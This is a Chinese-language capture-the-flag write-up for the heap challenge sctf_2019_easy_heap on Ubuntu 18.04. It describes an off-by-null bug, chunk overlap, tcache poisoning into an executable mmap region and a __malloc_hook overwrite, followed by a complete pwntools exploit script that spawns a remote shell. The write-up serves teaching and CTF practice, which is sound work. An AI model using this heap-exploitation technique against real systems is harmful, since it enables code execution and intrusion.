CTF:sctf_2019_easy_heap

这个题目当时比赛的时候靶机据说是ubuntu16.04,但是迁移到buu上就变成了ubuntu18.04,下面针对两个平台给出不同的解法,先写一下18.04下的

先来逆一下,关键点有一下几个
mmap了一个可读可写可执行的内存空间,可以往里面写入shellcode,而且给了我们地址

edit函数里面有off-by-null漏洞

ubuntu18.04

我本来想直接爆破_IO_2_1_stdout_的,但是考虑到18.04下malloc的时候不会检查size,所以程序不会crash掉,当然理论也可以爆破(当p.recvuntil接受不到数据时程序会crash),但是没有去尝试,过几天试一下

现在考虑写入shellcode,然后攻击__malloc_hook

先说一下程序模板

**step 1: allocate mmap to read in shellcode**
add(0x410)  add(0x68)  add(0x4f0)  add(0x68)

free(0x410)
edit(0x68 -> off-by-null)
free(0x4f0)

add(0x410)
add(0x68)      # index 2: the same as index 1

free(0x68)      # index 3
free(0x68)       # idx 1(free) == idx 2(allocate)
free(0x68)      # idx 1(free) == idx 2(free)

add(0x68)      # index 1(allocate) == 2(free)
add(0x68)      # index 2(allocate) == 1(allocate)
add(0x68)      # mmap

**step 2: attack __malloc_hook**
add(0x4f0)

free(0x410)
edit(0x68 -> off-by-null)

free(0x68)      # index 1(free) == 2(allocate)
free(0x4f0)      #注意,这个地方必须先free 0x68,否则此后将无法通过free的检查
edit(2,'\x30')

add(0x68)     add(0x68)      
edit(0x68)  to getshell

核心,利用off-by-null构造两个指向同一块chunk的指针

exp:

from pwn import *

'''
author: lemon
time: 2020-10-19
libc: libc-2.27.so
python version: python3
'''

local = 0

binary = "sctf_2019_easy_heap"
libc_path = './libc-2.27.so'
port = "27263"

if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",port)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']
context(arch = 'amd64',os = 'linux')

def add(size):
	p.sendlineafter('>> ','1')
	p.sendlineafter('Size: ',str(size))

def edit(index,content):
	p.sendlineafter('>> ','3')
	p.sendlineafter('Index:',str(index))
	p.sendafter('Content:',content)

def free(index):
	p.sendlineafter('>> ','2')
	p.sendlineafter('Index:',str(index))

p.recvuntil('0x')
mmap = int(p.recv(10),16)
print("[*] mmap:" + hex(mmap))


add(0x410)	#0
p.recvuntil('0x')
heap_addr = int(p.recv(12),16)
print("[*] heap array:",hex(heap_addr))
	
add(0x68)	# 1
add(0x4f0)	# 2
add(0x68)	# 3

payload = b'A' * 0x60 + p64(0x490)

free(0)	# free 0x410
edit(1,payload)
free(2)

add(0x410)	# 0 size: 0x410
add(0x68)	# 2 size: 0x68  2(allocate) == 1(allocate)

free(3)
free(1)
free(2)	

add(0x68)	# 1 2(free) == 1(allocate)
edit(1,p64(mmap) + b'\n')
add(0x68)	# 2 2(allocate) == 1(allocate)
add(0x68)	# 3

shellcode = asm(shellcraft.sh())
edit(3,shellcode + b'\n')

add(0x4f0)	# 4

free(0)
edit(1,payload)	# 2(allocate) == 1(allocate)
free(1)			# 1(free) == 2(allocate)
free(4)

add(0x410)	# 0
edit(2,'\x30\n')

add(0x68)	# 1(allocate) == 2(allocate)
add(0x68)	# 4 __malloc_hook

edit(4,p64(mmap) + b'\n')

add(0x20)	# getshell
# gdb.attach(p)
p.interactive()


过几天再更一下ubuntu16.04下的版本,相对于18.04,16.04利用更简单一些,甚至可以直接爆破_IO_2_1_stdout_

posted @ 2020-10-19 19:18  lemon想学二进制  阅读(700)  评论(0编辑  收藏  举报